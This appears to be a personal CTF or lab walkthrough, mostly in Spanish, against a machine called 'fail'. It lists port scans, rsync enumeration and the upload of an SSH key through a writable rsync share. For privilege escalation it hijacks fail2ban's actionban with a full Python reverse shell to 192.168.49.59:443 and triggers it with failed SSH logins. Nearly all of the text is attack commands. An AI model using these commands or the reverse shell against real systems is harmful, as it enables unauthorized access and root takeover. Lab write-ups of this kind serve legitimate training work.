nmap -A -p- -oA fail 192.168.59.126 --min-rate=10000 --script=vuln --script-timeout=15 -v
nmap -sC -sV -O -p- -oA fail 192.168.59.126
nmap -sU -O -p- -oA fail-udp 192.168.59.126
nikto -h 192.168.59.126:80
![[Pasted image 20210921131225.png]]
nc -nv 192.168.59.126 873
@RSYNCD: 31.0
#list
Nos tratamos de conectar por rsync
rsync -av --list-only rsync://192.168.59.126/fox
Creamos un llave con ssh-keygen
rsync -av keys/ rsync://rsync://192.168.59.126/fox/.ssh
rsync -av --list-only rsync://192.168.59.126/fox
ssh -i id_rsa fox@192.168.59.126
Vemos el fail2ban cuando hacemos un id
ps aux | grep root
Vemos la lista de procesos que ejecuta root
ls -ali /etc/fail2ban/action.d
cd /etc/fail2ban/action.d
ls
vim iptables-multiport.conf
actionban = python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.59",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lvnp 443
ssh fox@192.168.49.59
Introducimos una contrasena erronea